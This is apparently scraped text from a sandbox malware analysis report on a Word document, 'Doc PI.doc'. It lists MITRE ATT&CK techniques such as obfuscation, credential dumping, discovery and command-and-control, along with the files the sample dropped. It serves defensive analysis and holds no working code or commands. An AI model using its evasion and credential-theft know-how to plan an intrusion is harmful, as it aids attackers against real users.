Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Doc PI.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\loudzx[1].scr

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\sqlite-dll-win32-x86-3210000[1].zip

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0C4DC952-54A3-4600-8ADF-E33FC95BF851}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4009DDD1-DB1C-41CE-A293-A5E46E715DCE}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{48E7344B-2A3F-40E3-AC6B-5E4E921F9721}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{981FE0D2-48D8-4361-916E-6E4409D92C4F}.tmp

C:\Users\user\AppData\Local\Temp\13d6pS3

C:\Users\user\AppData\Local\Temp\abr0vjm0.zip

C:\Users\user\AppData\Local\Temp\hrzxgdw.zip

C:\Users\user\AppData\Local\Temp\sqlite3.def

C:\Users\user\AppData\Local\Temp\sqlite3.dll

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Doc PI.LNK

Windows Analysis Report
Doc PI.doc

Function 00304090 Relevance: 1.9, Strings: 1, Instructions: 623
COMMON

Function 00304BD0 Relevance: 1.7, APIs: 1, Instructions: 220
processCOMMON

Function 00303C78 Relevance: 1.6, APIs: 1, Instructions: 116
injectionCOMMON

Function 00304FF9 Relevance: 1.6, APIs: 1, Instructions: 104
COMMON

Function 00303DC9 Relevance: 1.6, APIs: 1, Instructions: 103
memoryCOMMON

Function 00303DD0 Relevance: 1.6, APIs: 1, Instructions: 101
memoryCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre